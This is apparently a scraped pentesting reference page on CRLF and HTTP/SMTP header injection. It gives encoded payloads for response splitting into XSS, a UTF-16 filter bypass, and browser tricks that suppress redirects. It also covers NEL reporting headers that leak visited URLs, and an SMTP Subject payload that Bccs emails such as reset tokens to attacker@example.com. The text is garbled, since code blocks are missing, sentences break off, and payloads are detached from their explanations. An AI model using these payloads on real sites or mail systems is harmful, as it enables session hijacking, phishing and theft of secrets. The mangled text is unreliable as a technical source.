CRLF / Header Injection
Manipulate HTTP headers in your favor or insert completely new ones with even more control
Last updated
Manipulate HTTP headers in your favor or insert completely new ones with even more control
Last updated
HTTP is a plaintext protocol that works with Carriage Return (\r
) Line Feed (\n
) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.
The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write <script>
tags or similar things to achieve Cross-Site Scripting (XSS):
In place of [INPUT]
, we will now put two CRLF sequences followed by the HTML body we want to inject.
: x%0D%0A%0D%0A<script>alert(origin)</script>
Note that the Content-Length:
is still limited, it cuts off the response at the new end, but our injected content comes first:
If the response isn't HTML but something like JSON instead, you can still overwrite the Content-Type:
header with another one. The last one counts!
If your input is filtered/sanitized, you can also abuse the charset of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:
Location:
One common situation is when your injection point is the value of a Location:
header in a 30X redirect. The problem is that the browser will normally just redirect to the given location without rendering the body. This prevents us from directly injecting a <script>
tag, for example.
First of all, an open redirect may be possible if the URL isn't validated strictly. See the following examples:
This isn't nearly as impactful as XSS though, but fortunately there are some tricks in both Chrome and Firefox that cause it to ignore the redirect and show the body instead. Chrome is the hardest, but simplest to understand. If the Location:
is empty it will be ignored, otherwise it won't.
With the above payloads, you can force the browser to stop redirecting and show the content instead. With the ability to insert newlines in the response you can give it a HTML body with XSS:
If you have the same injection point in a response both in the Location:
and in the body, where you can escape the body for XSS with special characters, you can use the resource://
prefix to ignore the redirect. After ?
special characters are allowed:
Payload: resource://test?"><img src onerror=alert()>
If this protocol isn't allowed in your situation, try appending a correct https://
URL after it to see if it performs a partial match.
If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.
You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it works on redirects:
The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the header instead of a <link>
tag:
This header adds the link URL as a stylesheet to the returned page, allowing CSS Injection. The syntax is as follows:
This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:
Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:
Together, the headers you inject should look something like this:
You can also use the --short-reporting-delay
startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.
Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.
A typical SMTP request looks like this:
A common place to inject is the RCPT TO:
SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:attacker@example.com
to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!).
More commonly you will also see an injection into the DATA
section where headers like Bcc
can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject
or From
/To
headers:
: x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E
More tricks for [INPUT]
inside the existing Content-Type
header itself can be found in . It contains a trick to escape the HTML context if your payload in the body is limited.
: x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
explain that on Firefox there is a more interesting trick, using the resource://
protocol:
Chrome : %0D%0A%0D%0A%3Csvg%20onload=alert()%3E
Firefox : resource://anything%0D%0A%0D%0A%3Csvg%20onload=alert()%3E
One of the simplest is just setting a cookie in the response with the Set-Cookie:
header. This has the same impact as , but if you're targeting the same host would also allow setting __Host-
prefixed cookies.
The header is a special one that has many different features. In the header value you provide a link in between angle brackets (<>
), followed by attributes like rel=
that specify what it's used for. Using a comma (,
) it's possible to provide multiple link rules in one header.
Only Firefox understands stylesheets through a header, it will be ignored in Chrome.
in a partial Link:
header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first rel=
attribute takes priority.
Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the Referer:
. Check out .
is a part of the , responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will log URLs that gave error status codes. Using the success_fraction
parameter it's also possible to leak successful URLs. include_subdomains
allows leaking URLs upon DNS failures of domains under the one it was set on.
From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to . Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:
Tip: while testing, make sure the host and reporting endpoint use https://
, and Cloudflare is not overwriting it with its own cf-nel
. Set up a working receiving server using .
Subject : a%0D%0ABcc:%20attacker@example.com%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E
rel=
attributes and their meaning